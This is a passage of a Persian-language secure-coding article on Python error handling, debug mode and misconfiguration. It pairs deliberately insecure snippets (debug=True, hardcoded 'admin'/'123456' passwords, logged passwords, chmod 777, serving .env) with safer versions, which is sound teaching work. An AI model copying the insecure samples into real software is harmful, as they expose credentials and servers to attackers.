ساختار پایگاه داده تا حدودی قابل حدس است.

این اطلاعات می‌توانند در حملاتی مانند SQL Injection  که در خصوص آن در بالا صحبت کردیم مورد سواستفاده قرار گیرند.

خطر فعال بودن Debug Mode:

فعال کردن حالت دیباگ در زمان توسعه به برنامه نویسان کمک زیادی می کند تا خطا ها را راحت تر مشاهده کنند اما اینکه در محیط پروداکشن هم بخواهد حالت دیباگ روشن باشد بسیار خطرناک هست!

برای مثال در Flask:

app.run(debug=True)

اگر خطایی در برنامه رخ دهد، Flask صفحه Debug را نمایش می‌ دهد که شامل اطلاعات زیر است:

مسیر کامل فایل‌ های پروژه

متغیر های موجود در حافظه

بخش‌ هایی از کد اجرا شده

نسخه پایتون

نسخه Flask

اطلاعات محیط اجرا

در برخی شرایط، حتی امکان اجرای دستورات از طریق Debug Console نیز وجود دارد که می‌ تواند منجر به کنترل کامل سرور توسط مهاجم شود.

افشای اطلاعات حساس در لاگ‌ ها:

برخی برنامه‌ ها اطلاعات محرمانه را هنگام وقوع خطا در فایل‌ های لاگ ذخیره می‌ کنند.

نمونه نامناسب:

import logging

username = "admin"
password = "123456"

logging.error(
    f"Login failed. Username={username}, Password={password}"
)

اگر فردی به فایل‌ های لاگ دسترسی پیدا کند، اطلاعات حساس کاربران افشا خواهند شد.

بنابراین فایل‌ های لاگ نیز باید با دقت مدیریت شوند و از ثبت اطلاعات محرمانه در آن‌ ها جلوگیری شود.

مدیریت صحیح استثناها:

یکی از مهم‌ ترین راهکار های جلوگیری از افشای اطلاعات، مدیریت مناسب استثناها است.

نمونه مناسب:

try:
    filename = input("File name: ")

    with open(filename) as f:
        data = f.read()

except FileNotFoundError:
    print("File not found")

 

در این حالت، کاربر تنها یک پیام عمومی مشاهده می‌ کند و اطلاعات داخلی سیستم فاش نمی‌ شوند.

راهکارهای جلوگیری از بروز مشکل در زمان مشاهده خطا:

برای اینکه یک هکر نتواند از مشاهده خطا برای سواستفاده های احتمالی استفاده کند می تواند راهکار های زیر را پیدا کرد:

ثبت خطاها در فایل‌ های لاگ:

به جای نمایش جزئیات خطا به کاربر، بهتر است این اطلاعات در فایل‌ های لاگ ذخیره شوند تا مدیر سیستم بتواند بعدا آن‌ها را بررسی کند.

import logging

logging.basicConfig(
    filename="app.log",
    level=logging.ERROR
)

try:
    x = 10 / 0

except Exception as e:
    logging.error(e)

    print("An error occurred")

 

در این روش، کاربر با پیام ساده‌ ای مواجه می‌ شود، اما جزئیات خطا برای تحلیل‌ های بعدی در فایل لاگ ثبت می‌ شوند.

برای ثبت کامل Traceback نیز می‌ توان از تابع logging.exception() استفاده کرد:

import logging

try:
    x = 1 / 0

except Exception:
    logging.exception(
        "Unexpected error"
    )

غیرفعال کردن حالت Debug:

یکی دیگر از مهم‌ترین اقدامات امنیتی، غیرفعال کردن حالت Debug در محیط عملیاتی است.

نمونه مناسب در Flask:

app.run(debug=False)

در این حالت، کاربران به جای مشاهده Traceback و اطلاعات داخلی برنامه، تنها پیام‌ های خطای کنترل‌ شده را دریافت خواهند کرد.

در پروژه های Django هم در فایل Setting.py می توان دیباگ را روی حالت False قرار داد.

 

استفاده از صفحات خطای سفارشی:

در برنامه‌ های تحت وب بهتر است صفحات خطای اختصاصی ایجاد شوند.

نمونه در Flask:

from flask import Flask

app = Flask(__name__)

@app.errorhandler(500)
def internal_error(error):
    return "Internal Server Error", 500

به این ترتیب، کاربران با یک پیام استاندارد مواجه می‌ شوند و جزئیات داخلی برنامه پنهان باقی می‌ ماند.

جلوگیری از نمایش اطلاعات پایگاه داده:

به جای نمایش خطای واقعی پایگاه داده می توان به شکل زیر عمل کرد:

try:
    cursor.execute(query)

except Exception as e:
    print(e)

بهتر است:

try:
    cursor.execute(query)

except Exception:
    print("Database error")

استفاده شود و جزئیات فنی تنها در فایل‌ های لاگ ذخیره شوند.

 

مدیریت نامناسب خطا ها اگر چه همانطور که گفته شد در ابتدا یک مشکل کاملا ساده و عادی به نظر برسد اما می تواند حاوی اطلاعات ارزشمندی باشد که در اختیار مهاجمان قرار می گیرد و زمینه ساز حملات سنگین خواهد شد.

با رعایت موارد گفته شده می تواند به شکل خوبی جلوی بروز مشکلات امنیتی ناشی از نمایش خطا ها را گرفت!

 

11- پیکربندی نامناسب و مجوزهای دسترسی:

این آسیب پذیری هم که مانند نمایش خطا ها کمتر به آن توجه می شود ولی می تواند مشکلات جدی ایجاد کند مربوط به پیکربندی نامناسب و مدیریت نادرست مجوزهای دسترسی می باشد!

خیلی از حملاتی که در پروژه های پایتون اتفاق می افتد و کاملا هم موفق می شود نه به دلیل نقص در منطق برنامه یا ضعف ذاتی این زبان هست بلکه این در نتیجه استفاده از تنظیمات پیش فرض و اعطای دسترسی های بیش از حد و فعال بودن قابلیت های غیرضروری و عدم رعایت اصل حداقل دسترسی رخ می دهد!

برنامه‌ های پایتون معمولا با پایگاه‌ های داده، فایل‌ ها، سرویس‌ های ابری، API ها و سایر منابع سیستم در ارتباط هستند. اگر این ارتباطات بدون پیکربندی صحیح و کنترل دسترسی مناسب انجام شوند، مهاجمان می‌ توانند از این ضعف‌ ها برای دسترسی به اطلاعات حساس، تغییر داد ه‌ها یا حتی تصاحب کامل سامانه استفاده کنند.

 

 

استفاده از رمزهای عبور پیش‌فرض

این مورد شاید برای خیلی ها عجیب باشد اما جزو مواردی هست که زیاد دیده می شود!

بسیاری از برنامه‌ ها یا سرویس‌ ها با مقادیر پیش‌ فرض اجرا می‌ شوند:

 

DATABASE_USER = "admin"
DATABASE_PASSWORD = "admin"

یا:

SECRET_KEY = "123456"

استفاده از این مقادیر باعث می‌ شود مهاجمان بتوانند با حدس زدن اطلاعات پیش‌ فرض یا اجرای حملات بروت فورس، به سامانه دسترسی پیدا کنند.

روش مناسب استفاده از رمزهای قوی و متغیر های محیطی است:

import os

secret_key = os.getenv("SECRET_KEY")

اجرای برنامه با دسترسی Root:

نیاز نیست همیشه اجرای برنامه با دسترسی های Root انجام شود و گاهی با دسترسی های سطح پایین تر هم بدون مشکل به کار ادامه می دهد.

نمونه زیر را در نظر بگیرید:

sudo python app.py

اگر مهاجم موفق شود کدی را روی برنامه اجرا کند، به تمام منابع سیستم دسترسی خواهد داشت.

بهتر است برنامه با یک کاربر محدود اجرا شود:

python app.py

یا یک کاربر اختصاصی برای سرویس ایجاد شود.

 

مجوزهای بیش از حد فایل‌ ها:

این مورد مهم ترین قسمت در این آسیب پذیری محسوب می شود! باید پرمیشن فایل ها و پوشه ها کاملا استاندارد باشد و نباید برای فایل های حساس از مجوز های نامناسب استفاده شود!

نمونه:

chmod 777 config.py

در این حالت همه کاربران می‌ توانند فایل را بخوانند، تغییر دهند یا حذف کنند.

روش مناسب:

chmod 600 config.py

در این حالت تنها مالک فایل به آن دسترسی خواهد داشت.

 

اعطای مجوزهای بیش از حد به پایگاه داده:

فرض کنید برنامه برای اتصال به پایگاه داده از حساب Root استفاده می‌ کند:

import mysql.connector

conn = mysql.connector.connect(
    user="root",
    password="password"
)

اگر برنامه دچار SQL Injection شود، مهاجم می‌ تواند به تمام جداول و تنظیمات پایگاه داده دسترسی پیدا کند.

روش مناسب، ایجاد حساب کاربری با حداقل سطح دسترسی است:

conn = mysql.connector.connect(
    user="app_user",
    password="password"
)

که تنها مجوزهای مورد نیاز را داشته باشد.

 

فعال بودن سرویس‌ ها و قابلیت‌ های غیرضروری:

بسیاری از برنامه‌ ها ماژول‌ ها و سرویس‌ هایی را اجرا می‌ کنند که در عمل نیازی به آن‌ ها وجود ندارد.

نمونه:

from flask import Flask

app = Flask(__name__)

app.config["DEBUG"] = True

 

یا فعال بودن APIهای آزمایشی:

@app.route("/test")
def test():
    return "Debug endpoint"

وجود چنین بخش‌ هایی می‌ تواند راه ورود مهاجمان را فراهم کند.

 

اصل حداقل دسترسی:

یکی از مهم‌ ترین اصول امنیتی این است که هر کاربر، سرویس یا برنامه تنها باید به منابعی دسترسی داشته باشد که برای انجام وظایف خود به آن‌ ها نیاز دارد.

به عنوان مثال، اگر برنامه فقط نیاز به خواندن فایل‌ ها دارد، نباید مجوز حذف یا ویرایش آن‌ ها را داشته باشد.

نمونه نامناسب:

with open("data.txt", "w+") as f:
    pass

در حالی که برنامه فقط نیاز به خواندن فایل دارد.

روش مناسب:

with open("data.txt", "r") as f:
    data = f.read()

 

محدود کردن دسترسی به فایل‌ های حساس:

فایل‌هایی مانند:

  • .env
  • config.py
  • secrets.json

نباید از طریق وب قابل دسترس باشند.

نمونه نامناسب:

app = Flask(__name__)

app.send_static_file(".env")

زیرا می‌تواند منجر به افشای اطلاعات حساس شود.

 

استفاده از تنظیمات امن در Flask

بهتر است تنظیمات امنیتی مناسب فعال شوند:

app.config.update(
    SESSION_COOKIE_SECURE=True,
    SESSION_COOKIE_HTTPONLY=True
)

این تنظیمات احتمال سرقت کوکی‌ ها را کاهش می‌دهند.

 

باز گذاشتن دسترسی‌ های شبکه:

نمونه نامناسب:

app.run(host="0.0.0.0")

اگر محدودیت‌ های لازم اعمال نشوند، سرویس از تمام شبکه قابل دسترس خواهد بود.

در بسیاری از موارد، بهتر است دسترسی‌ ها از طریق فایروال یا Reverse Proxy کنترل شوند.

راهکار های جلوگیری از پیکربندی نامناسب و مجوزهای دسترسی:

اولین قدم برای مقابله با این آسیب پذیری رعایت اصل حداقل دسترسی می باشد که برنامه و کاربران باید تنها به منابعی دسترسی داشته باشند که برای انجام وظایف خود به آن نیاز دارند!

همچنین استفاده از تنظیمات پیش‌ فرض و رمز های عبور ساده باید اجتناب شود و اطلاعات حساس از طریق متغیر های محیطی مدیریت شوند.

حذف سرویس‌ های غیرضروری، تنظیم صحیح مجوز فایل‌ ها، محدود کردن دسترسی حساب‌ های پایگاه داده و اجرای برنامه‌ ها با کاربران محدود، از دیگر اقدامات مهم برای افزایش امنیت هستند.

علاوه بر این، بازبینی دوره‌ ای تنظیمات امنیتی، استفاده از ابزارهای ارزیابی امنیت و انجام آزمون‌ های نفوذ می‌ تواند بسیاری از پیکربندی‌ های اشتباه را پیش از سواستفاده مهاجمان شناسایی کند.

به طور کلی، بخش قابل توجهی از آسیب‌ پذیری‌ های موجود در نرم‌ افزار های مبتنی بر پایتون ناشی از نحوه پیاده‌ سازی و بی‌ توجهی به اصول امنیتی است.

 

جمع‌ بندی:

در این مقاله، مهم‌ ترین آسیب‌ پذیری‌ های رایج در برنامه‌ های پایتون مورد بررسی قرار گرفت. مشکلاتی مانند تزریق کد، تزریق دستورات سیستم، SQL Injection، سریال‌ سازی نا امن، استفاده از وابستگی‌ های آسیب‌پذیر، افشای اطلاعات حساس، ضعف در پردازش فایل‌ ها، حملات XSS و CSRF، مدیریت نامناسب خطاها و پیکربندی‌ های اشتباه، همگی می‌توانند امنیت نرم‌افزار را به خطر انداخته و زمینه سواستفاده مهاجمان را فراهم کنند.

این نکته را هیچ وقت فراموش نکنید که بخش قابل توجهی از این آسیب پذیری ها ناشی از ضعف پایتون نیست بلکه در اثر استفاده نادرست از قابلیت ها و بی توجهی امنیتی و پیکربندی های اشتباه می باشد!

استفاده از روش‌ های برنامه‌ نویسی امن، اعتبارسنجی ورودی‌ ها، مدیریت صحیح خطا ها، رعایت اصل حداقل دسترسی، محافظت از اطلاعات حساس، بروزرسانی مستمر کتابخانه‌ ها و وابستگی‌ ها و بهره‌ گیری از ابزار های تحلیل امنیتی، از مهم‌ترین اقداماتی هستند که می‌ توانند سطح امنیت برنامه‌ های پایتون را به میزان قابل توجهی افزایش دهند.

 

4.4/5 - (7 امتیاز)